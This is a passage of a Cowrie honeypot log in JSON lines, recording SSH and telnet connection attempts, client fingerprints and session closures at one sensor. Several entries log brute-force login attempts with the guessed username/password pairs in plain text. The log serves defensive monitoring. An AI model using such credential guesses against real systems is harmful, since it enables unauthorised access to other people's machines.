openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:34.446821Z","src_ip":"103.15.222.183","session":"e8915a7e5528","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38414,"dst_ip":"10.17.0.5","dst_port":23,"session":"6525cbb813b3","protocol":"telnet","message":"New connection: 192.119.13.58:38414 (10.17.0.5:23) [session: 6525cbb813b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:35.098429Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1357913579","message":"login attempt [root/1357913579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:35.225854Z","src_ip":"103.15.222.183","session":"e8915a7e5528","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:36.491872Z","src_ip":"103.15.222.183","session":"e8915a7e5528","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.733280181884766,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:37.522870Z","src_ip":"192.119.13.58","session":"7d81755bb41d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.142850160598755,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:37.748818Z","src_ip":"192.119.13.58","session":"9fdee68c0437","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":33150,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a107c416ab4","protocol":"ssh","message":"New connection: 194.113.233.25:33150 (159.203.135.109:22) [session: 8a107c416ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:38.089671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:38.094430Z","src_ip":"194.113.233.25","session":"8a107c416ab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:38.187517Z","src_ip":"194.113.233.25","session":"8a107c416ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfvfgfgf","message":"login attempt [root/vfvfgfgf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:38.485452Z","src_ip":"194.113.233.25","session":"8a107c416ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.99856901168823,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:39.004498Z","src_ip":"192.119.13.58","session":"cf671af10727","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.293140172958374,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:39.409748Z","src_ip":"192.119.13.58","session":"a9d97ef0399c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:39.580098Z","src_ip":"194.113.233.25","session":"8a107c416ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.80453896522522,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:39.803775Z","src_ip":"192.119.13.58","session":"6b0bd1990c9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":50144,"dst_ip":"10.17.0.5","dst_port":22,"session":"867fd75c3c1a","protocol":"ssh","message":"New connection: 193.32.162.145:50144 (10.17.0.5:22) [session: 867fd75c3c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:40.068935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:40.092690Z","src_ip":"193.32.162.145","session":"867fd75c3c1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:40.204999Z","src_ip":"193.32.162.145","session":"867fd75c3c1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:40.581049Z","src_ip":"193.32.162.145","session":"867fd75c3c1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33796,"dst_ip":"10.17.0.5","dst_port":23,"session":"f362a502d118","protocol":"telnet","message":"New connection: 192.119.13.58:33796 (10.17.0.5:23) [session: f362a502d118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:40.891374Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:41.684094Z","src_ip":"193.32.162.145","session":"867fd75c3c1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48018,"dst_ip":"10.17.0.5","dst_port":23,"session":"483705ae703b","protocol":"telnet","message":"New connection: 192.119.13.58:48018 (10.17.0.5:23) [session: 483705ae703b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:44.335986Z"}
{"eventid":"cowrie.session.closed","duration":33.390169620513916,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:45.769354Z","src_ip":"192.119.13.58","session":"ffbb408cfd08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.80708312988281,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:47.200568Z","src_ip":"192.119.13.58","session":"d27b723cb53e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.39305019378662,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:48.410179Z","src_ip":"192.119.13.58","session":"ed924bd65e3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42764,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0377268bfec","protocol":"telnet","message":"New connection: 192.119.13.58:42764 (10.17.0.5:23) [session: f0377268bfec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:49.867206Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":35778,"dst_ip":"10.17.0.5","dst_port":22,"session":"42d8e49f08cb","protocol":"ssh","message":"New connection: 103.164.9.74:35778 (10.17.0.5:22) [session: 42d8e49f08cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:53.718857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:53.725214Z","src_ip":"103.164.9.74","session":"42d8e49f08cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:53.916926Z","src_ip":"103.164.9.74","session":"42d8e49f08cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.174768924713135,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:54.325671Z","src_ip":"192.119.13.58","session":"f48f0f028885","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ansible@123","message":"login attempt [root/ansible@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:54.710874Z","src_ip":"103.164.9.74","session":"42d8e49f08cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.185688495635986,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:55.081075Z","src_ip":"192.119.13.58","session":"f250a313ec80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.03101086616516,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:55.737954Z","src_ip":"192.119.13.58","session":"ccccf522ff39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:55.905461Z","src_ip":"103.164.9.74","session":"42d8e49f08cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38112,"dst_ip":"10.17.0.5","dst_port":23,"session":"e58053eccd4d","protocol":"telnet","message":"New connection: 192.119.13.58:38112 (10.17.0.5:23) [session: e58053eccd4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:56.658738Z"}
{"eventid":"cowrie.session.closed","duration":37.67969584465027,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:57.449724Z","src_ip":"192.119.13.58","session":"848e15351a37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.81561350822449,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:09:58.535555Z","src_ip":"192.119.13.58","session":"767d9e471fc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57148,"dst_ip":"10.17.0.5","dst_port":23,"session":"36fc4c03e200","protocol":"telnet","message":"New connection: 192.119.13.58:57148 (10.17.0.5:23) [session: 36fc4c03e200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:00.218331Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58882,"dst_ip":"10.17.0.5","dst_port":23,"session":"f01ac67c0f4e","protocol":"telnet","message":"New connection: 192.119.13.58:58882 (10.17.0.5:23) [session: f01ac67c0f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:00.568879Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58988,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c2353025faa","protocol":"telnet","message":"New connection: 192.119.13.58:58988 (10.17.0.5:23) [session: 1c2353025faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:07.561039Z"}
{"eventid":"cowrie.session.closed","duration":37.109123945236206,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:08.938995Z","src_ip":"192.119.13.58","session":"52aaa0aaad85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39472,"dst_ip":"10.17.0.5","dst_port":23,"session":"9850577ffefa","protocol":"telnet","message":"New connection: 192.119.13.58:39472 (10.17.0.5:23) [session: 9850577ffefa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:10.610300Z"}
{"eventid":"cowrie.session.closed","duration":44.026100873947144,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:15.343956Z","src_ip":"192.119.13.58","session":"270176ec0611","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.4090473651886,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:15.923442Z","src_ip":"192.119.13.58","session":"4ca516d80942","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.11.66","src_port":50140,"dst_ip":"159.203.135.109","dst_port":22,"session":"83bc35aab554","protocol":"ssh","message":"New connection: 116.110.11.66:50140 (159.203.135.109:22) [session: 83bc35aab554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:20.811496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:21.080629Z","src_ip":"116.110.11.66","session":"83bc35aab554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:21.120138Z","src_ip":"116.110.11.66","session":"83bc35aab554","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33996,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8e536c3450c","protocol":"telnet","message":"New connection: 192.119.13.58:33996 (10.17.0.5:23) [session: f8e536c3450c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:21.723932Z"}
{"eventid":"cowrie.session.closed","duration":46.642906665802,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:21.741207Z","src_ip":"192.119.13.58","session":"6525cbb813b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43736,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d509be6b8c5","protocol":"telnet","message":"New connection: 192.119.13.58:43736 (10.17.0.5:23) [session: 2d509be6b8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:24.041351Z"}
{"eventid":"cowrie.session.closed","duration":43.52938485145569,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:24.420645Z","src_ip":"192.119.13.58","session":"f362a502d118","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":54644,"dst_ip":"10.17.0.5","dst_port":22,"session":"63c12fd9b652","protocol":"ssh","message":"New connection: 46.19.67.181:54644 (10.17.0.5:22) [session: 63c12fd9b652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:26.580654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:26.595205Z","src_ip":"46.19.67.181","session":"63c12fd9b652","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:10:26.726115Z","src_ip":"46.19.67.181","session":"63c12fd9b652","protocol":"ssh"}
